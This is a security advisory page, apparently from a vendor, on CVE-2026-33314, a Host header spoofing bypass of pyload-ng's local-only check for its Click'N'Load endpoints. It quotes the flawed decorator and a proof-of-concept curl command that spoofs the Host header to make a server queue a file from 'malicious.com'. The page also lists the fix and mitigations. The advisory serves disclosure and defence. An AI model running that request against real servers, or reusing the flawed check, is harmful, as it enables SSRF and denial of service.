CVE-2026-33314 — pyload-ng
MEDIUMCVE-2026-33314 is a medium-severity (CVSS 6.5) Improper Authentication vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
Improper Authentication and Origin Validation Error in pyload-ng
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33314.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33314 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).
Details
The pyload WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to localhost:9666). To enforce this, the pyload application uses a @local_check decorator on the relevant routes in src/pyload/webui/app/blueprints/cnl_blueprint.py.
However, the @local_check implementation relies on the user-controlled HTTP_HOST (derived from the HTTP Host header) to verify the origin:
# src/pyload/webui/app/blueprints/cnl_blueprint.py
def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapper
Because http_host is read directly from the Host header of the HTTP request, an external attacker can easily spoof this header (e.g., Host: 127.0.0.1:9666). When this spoofed header is present, the condition http_host in ("127.0.0.1:9666", ...) evaluates to True, completely bypassing the IP address check (remote_addr) and granting access to the protected functions.
The affected routes are:
/flash/and/flash/<id>/flash/add/flash/addcrypted/flash/addcrypted2/flashgotand/flashgot_pyload/flash/checkSupportForUrl
PoC
- Ensure the PyLoad instance is running and accessible externally.
- Ensure the
ClickNLoadplugin is enabled in the PyLoad settings (it evaluates to disabled by default). - Send a POST request to one of the protected endpoints, such as
/flash/add, and spoof theHostheader to127.0.0.1:9666.
Example curl command:
curl -i -X POST "http://<pyload-external-ip>:<port>/flash/add" \
-H "Host: 127.0.0.1:9666" \
-d "urls=http://malicious.com/payload.bin" \
-d "package=MaliciousPackage"
- Notice that you receive a
success\r\nresponse instead of a403 Forbidden. The package and URL will be successfully added to the PyLoad queue.
Impact
This vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev97pip install --upgrade 'pyload-ng==0.5.0b3.dev97' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev97 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-33314 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33314 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33314. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33314 in your dependencies?
O3 Security finds CVE-2026-33314 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.